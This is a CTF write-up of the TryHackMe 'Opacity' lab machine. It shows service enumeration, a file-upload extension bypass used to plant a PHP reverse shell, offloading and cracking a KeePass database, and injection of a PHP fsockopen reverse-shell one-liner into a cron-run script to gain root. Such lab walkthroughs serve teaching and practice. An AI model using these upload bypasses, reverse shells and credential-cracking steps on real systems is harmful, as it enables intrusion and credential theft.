Post

TryHackMe | Opacity

Writeup of an easy-rated Linux Machine from TryHackMe


Opacity is a vulnerable machine from TryHackMe, which focuses essentially on web exploitation, specifically the exploitation of a vulnerable file upload functionality, which leads to gaining an initial foothold on the system. Once in, there is a Keepass database file containing the sysadmin credentials, which can be used to ssh into the system as sysadmin. From there, a PHP script is executed every 1 minute with root privileges, which calls another PHP file, over which the sysadmin has write privileges. This leads to code injection and eventually full compromise of the machine.

Reconnaissance


Scanning

As always, let’s start our enumeration process by scanning the machine with Nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ nmap -sC -sV -A -T4 -p- 10.10.25.135
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-29 03:02 EDT
Nmap scan report for 10.10.25.135
Host is up (0.10s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0fee2910d98e8c53e64de3670c6ebee3 (RSA)
|   256 9542cdfc712799392d0049ad1be4cf0e (ECDSA)
|_  256 edfe9c94ca9c086ff25ca6cf4d3c8e5b (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Login
|_Requested resource was login.php
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2023-04-29T07:02:52
|_  start_date: N/A
|_nbstat: NetBIOS name: OPACITY, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   103.61 ms 10.8.0.1
2   98.12 ms  10.10.25.135

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.27 seconds

The target machine has 4 open ports:

  • An SSH server OpenSSH 8.2p1 running on port 22
  • An HTTP server Apache httpd 2.4.41 running on port 80
  • Samba smbd version 4.6.2 is running on ports 139 and 445

Port 139 is typically used for NetBIOS Session Service

Port 445 is used for Server Message Block (SMB) over TCP

Service Enumeration


SSH - TCP 22

The version of OpenSSH 8.2p1 running on port 22 is linked to several vulnerabilities, including a Remote Code Execution vulnerability identified as CVE-2021-28041, which enables attackers to execute arbitrary code on the targeted system. Unfortunately, despite spending hours searching the internet, I could not locate any helpful exploits that would provide me with initial access to the target machine.

SMB - TCP 445

CrackMapExec:

1
$ crackmapexec smb <IP>
  • Running crackmapexec gives the hostname of the machine, OPACITY, which is not associated with any domain.

crackmapexec


Shares enumeration:

smbmap:
1
$ smbmap -H <IP>
  • smbmap shows two shares print$ and IPC$, which I don’t have sufficient permissions to access:

smbmap


smbclient:
1
smbclient -N -L //<IP>
  • smbclient also shows only two shares: IPC$ and print$:

smbclient


HTTP - TCP 80

Website

Visiting the site in the browser redirects to a login page: http://IP/login.php:

/login.php


When it comes to login pages, the initial though is to search for methods to bypass authentication, such as exploiting SQL Injection, using Default Credentials, attempting Brute Force Attacks on a known username and so on.

Testing Checklist:
  • Default credentials such as admin:admin or a admin:password does not bypass authentication
  • We don’t have a valid username, which means we can’t use password brute forcing technique.
  • The Web application does not seem to be vulnerable to basic SQL Injection

Testing Basic SQL Injection


Directory Fuzzing

Gobuster:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -t 64 --no-error -x .php

===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://opacity.thm
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2023/04/30 05:13:31 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 302) [Size: 0] [--> login.php]
/login.php            (Status: 200) [Size: 848]
/css                  (Status: 301) [Size: 308] [--> http://opacity.thm/css/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/cloud                (Status: 301) [Size: 310] [--> http://opacity.thm/cloud/]
...

Gobuster found some interesting directories:

  • /index.php: redirects to /login.php, which means we need to login before accessing the main page index.php
  • /login.php: contains a login form where we can submit a username and a password
  • /css: returns a 404 Not Found page

/css


  • logout.php: redirects also to login.php
  • /cloud: returns a Personal Cloud Storage where we can upload images via an external URL

File upload (/cloud)


The file upload path looks like the one we should dig more into to get an initial access.

Initial Access


File Upload:

Uploading a file

The first thing to notice here, is that in order to upload a file, we should submit an external URL which links to the file you want to upload, and not simply drag and drop or Select from filesystem the file. With that said, we need to start a python webserver that will host the files we want to upload.

1
$ sudo python3 -m http.server 80

Understanding the file upload logic

After numerous uploading attempts, I came to the following conclusions:

  • Only images can be uploaded to the server

Uploading a .php file


  • The Web App allows only files with image extensions like .png, .jpg, .jpeg, .gif
  • The Web App apply checks on only file extension, which means it only checks whether the file being uploaded has an image extension or not. If it does, it will be uploaded, otherwise, Please select an image will be displayed.
  • The Web App does not apply checks via Magic Bytes, because uploading a real image without an extension is not allowed.

File Type


Uploading an image without extension


Shell as www-data:

With that said, we need to bypass the file extension check in order to upload a PHP reverse shell script and eventually get a shell. HackTricks has an excellent checklist to follow when it comes to bypassing file extensions. After going through, literally the entire list, I managed to get a shell by uploading the php-reverse-shell.php script and appending #.png to the URL

Steps to reproduce:

1- First of all, download the PHP script and extract the content of the archive:

1
2
$ wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
$ tar xvf php-reverse-shell-1.0.tar.gz

2- cd into php-reverse-shell-1.0 directory
3- Open php-reverse-shell.php file in a text editor.
4- Change the values of the $ip and $port variables with your tun0 IP address and a port number of your choice, respectively, as shown below.

php-reverse-shell.php


5- Start a netcat listener on the same port you specified in the PHP script:

1
$ nc -nlvp <PORT>

6- Upload the PHP file, by entering the following URL in the External URL box, and append #.png to the URL:

1
http://<Your_IP>/php-reverse-shell.php#.png


Bypassing extension check


7- If all went well, you should have received a shell on your netcat listener:

shell as www-data


Shell Stabilization:

Let’s stabilize our shell, by running the following commands:

1
2
3
4
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + Z [Background Process]
stty raw -echo ; fg ;


shell stabilization


Privilege Escalation


Shell as sysadmin

Enumeration:

Keepass database:

In the /opt directory there is a Keepass Password database dataset.kdbx, which is owned by the user sysadmin:

/opt directory


  • Keepass is an open-source Password Manager that allows users to store and manage their passwords in a secure and encrypted database. It uses a master password to protect the database.

Let’s download the file in our attacking machine, after starting a python webserver on opacity machine, that will host the dataset.kdbx file:

  • On opacity machine:
1
$ python3 -m http.server <PORT>


python webserver


  • On your attacking machine:
    1
    
    $ wget http://<TargetMachine_IP>:<PORT>/dataset.kdbx
    


Downloading dataset.kdbx


In order to open the database file, we can use keepassx utility:

1
$ keepassx dataset.kdbx


Master key required


  • As expected, the database is protected by the Master Key.
Cracking the Master Key:

We can use JohnTheRipper to crack the Master key. But first, we need to extract the hash from the database file. To do so, we can use keepass2john utility:

1
$ keepass2john dataset.kdbx > keepassHash.txt

Now, we can use john to crack the keepassHash.txt hash file:

1
$ john --wordlist=/path/to/rockyou.txt keepassHash.txt


Cracking with JohnTheRipper


Access to database:

Having the master key, we can now access the database:

Access to the database


  • And we have sysadmin’s password.
    At first, I though that these credentials would be utilized on the /login.php page, but my attempt proved unsuccessful. Therefore, the login page can be considered a “rabbit hole”

🚩 User Flag:

With that said, we can use these credentials to ssh as sysadmin:

1
$ ssh sysadmin@10.10.10.10


user flag


📍 Note that you can also, from www-data shell, switch to sysadmin user, by just running su sysadmin and entering sysadmin password

switching to sysadmin user


Shell as root

Enumeration:

In sysadmin’s home directory /home/sysadmin, there is a folder named scripts which contain a PHP file script.php and a folder called lib

/scripts directory


This PHP script performs two main tasks:

  • It creates a backup of the scripts folder in the /home/sysadmin directory, by calling the zipData function from the script backup.inc.php located in the lib/ folder.
  • It deletes all the files in the /var/www/html/cloud/images directory using the unlink function, if they are files, or the rmdir function is they are directories.

Additionally, the script is executed with root privileges every minute, as per pspy:

pspy32 output


The script script.php is owned by root and sysadmin has only read privileges over the file, which means we cannot modify its content. But the script does call another PHP file, backup.inc.php, which is located in a directory over which we have basically all privileges, which is lib/.

Privileges over lib/ directory


Reverse shell:

Having said that, we can inject a reverse shell payload into the PHP script backup.inc.php, and after the execution of script.php, we should get a reverse shell back.

1- Let’s inject the following reverse shell payload in backup.inc.php file:

1
$sock=fsockopen("tun0_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");

📍 You can find other PHP reverse shells here


php reverse shell


2- Start a netcat listener on the port you specified in the reverse shell payload:

1
$ nc -nlvp PORT

3- After a minute, you should get a reverse shell back:

root flag


This post is licensed under CC BY 4.0 by the author.